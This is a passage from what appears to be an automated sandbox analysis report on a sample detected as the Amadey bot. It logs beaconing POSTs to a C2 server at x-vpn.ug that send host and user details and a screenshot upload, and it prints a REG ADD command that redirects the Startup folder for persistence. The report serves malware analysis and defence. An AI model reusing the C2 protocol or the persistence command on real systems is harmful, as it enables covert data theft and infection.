Jul 19, 2021 18:36:01.673691034 CEST	11053	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	49845	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:01.471288919 CEST	10995	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:01.570784092 CEST	11041	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	49846	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:01.766417027 CEST	11053	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:01.852847099 CEST	11054	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	49847	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:02.038033962 CEST	11055	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:02.038194895 CEST	11055	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:02.038399935 CEST	11065	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:02.038507938 CEST	11068	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:02.136759996 CEST	11084	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:02.136804104 CEST	11093	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:02.234450102 CEST	11120	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:02.234510899 CEST	11126	OUT	Data Raw: 0d b6 20 4a 70 4a 69 b9 88 7f 15 27 db 63 1d 39 a7 74 2e 59 be 84 c1 29 42 55 63 7c bd 85 37 ed a4 f4 14 5c 3d 9c cb db 71 4a 05 67 fd ae 4f 5a 4f b4 48 7f 88 d2 b8 bd 8c 8d 3e 05 2e e5 1d c5 65 79 ae 7b 9a 03 1f 5a 03 d8 9a 9e 6a 7a 8a 4f 3d 07 Data Ascii: JpJi'c9t.Y)BUc\|7\=qJgOZOH>.ey{ZjzO=zN{$^JQ?Q//y5jg>h}>z3ZaCwg/FEf=iSURrE19i(7v,%ry&~~hC^TkW$>O
Jul 19, 2021 18:36:02.240864992 CEST	11139	OUT	Data Raw: 51 e0 3b 96 3e 35 b3 86 22 c9 6d 24 92 49 e5 67 20 11 14 80 7e 41 88 cd 72 9f 1a ff 00 e4 a3 4d ff 00 5e d1 7f 2a fa 1e df 45 d2 ad 27 59 ed b4 cb 28 66 5c ed 92 38 15 58 64 60 e0 81 e9 5f 3b 7c 6c 7d bf 11 e6 1f f4 ed 17 f2 ae 0a d8 98 e2 2b a9 Data Ascii: Q;>5"m$Ig ~ArM^E'Y(f\8Xd`_;\|l}+[K4\$/sMM7y5wAfIR">O;QG3)><QQG0r_7MEJ(cCIiWad.{QEZQM`(Zu6U!E-PhRSZ(S$pSE-P
Jul 19, 2021 18:36:02.336141109 CEST	11152	OUT	Data Raw: 4b 39 a3 ba 8a 55 49 91 8e c8 a6 e4 02 0f 5d 98 fc cd 54 7d 1c 47 23 23 ea 36 8a ca 48 60 56 5c 83 ff 00 7c 57 99 5c ea 57 d7 b9 fb 55 ed cc f9 eb e6 ca cd fc cd 7a fe a2 f6 23 54 bb 0f 6f 70 5b ce 7c 91 3a 80 4e e3 db 65 72 f3 0d 62 dc 96 8a c5 Data Ascii: K9UI]T}G##6H`V\\|W\WUz#Top[\|:Nerb/,$,57w"ddeU*A_?\|LT^mlT%i-Rb0JN@'pzd#Top[\|:Nep?+NHaZt#EWa!KIK@- E%(QL@(AE%-(
Jul 19, 2021 18:36:02.796649933 CEST	12606	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	49848	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:02.062009096 CEST	11068	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:02.154747009 CEST	11094	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	49849	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:02.352772951 CEST	11153	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:02.458200932 CEST	11154	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	49850	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:02.670572042 CEST	12055	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:02.776797056 CEST	12606	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	49851	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:02.990434885 CEST	12608	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:03.085546970 CEST	12609	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	49852	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:03.118108988 CEST	12609	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:03.118349075 CEST	12609	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:03.118599892 CEST	12619	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:03.118756056 CEST	12622	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:03.198951960 CEST	12623	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:03.199295044 CEST	12648	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:03.278309107 CEST	12665	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:03.278529882 CEST	12699	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;
Jul 19, 2021 18:36:03.357564926 CEST	12706	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>
Jul 19, 2021 18:36:03.357606888 CEST	12708	OUT	Data Raw: 4e a2 80 0a f8 5e be e8 af 85 ea a2 26 15 d3 df 7c 42 f1 6d f6 a1 73 77 ff 00 09 16 a9 6f e7 ca d2 f9 36 f7 b2 a4 71 ee 24 ed 45 dd c2 8c e0 0e c2 b9 9a 05 31 1b f3 f8 c3 57 bb bb b6 bb bc 9b ed 77 36 f6 13 e9 e2 6b 87 79 1d e3 94 4a 09 66 2d 92 Data Ascii: N^&\|Bmswo6q$E1Ww6kyJf-Ljq%-))hMWmZ0+JU%JjqVj{33srye+[{#fWEl[^Dpjv-Q\XWi_m^ir@>R8>i;Is)Zg88=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49853	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:03.290469885 CEST	12700	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:03.376749039 CEST	12708	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: vhNyVU8USk.exe PID: 6896 Parent PID: 6060

General

Start time:	18:35:00
Start date:	19/07/2021
Path:	C:\Users\user\Desktop\vhNyVU8USk.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\vhNyVU8USk.exe'
Imagebase:	0x2f0000
File size:	4470944 bytes
MD5 hash:	6738C904BA78A2268A8950152A6C7448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: drbux.exe PID: 7000 Parent PID: 6896

General

Start time:	18:35:08
Start date:	19/07/2021
Path:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe'
Imagebase:	0x12d0000
File size:	4470944 bytes
MD5 hash:	6738C904BA78A2268A8950152A6C7448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000002.602859911.0000000000B2A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000002.602919944.0000000000B56000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000003.435588336.0000000000B56000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000003.448106642.0000000000B4C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000003.448153391.0000000000B6A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000003.448130651.0000000000B56000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000003.435543227.0000000000B4A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000002.00000002.602954967.0000000000B6A000.00000004.00000020.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 36%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6108 Parent PID: 7000

General

Start time:	18:35:18
Start date:	19/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
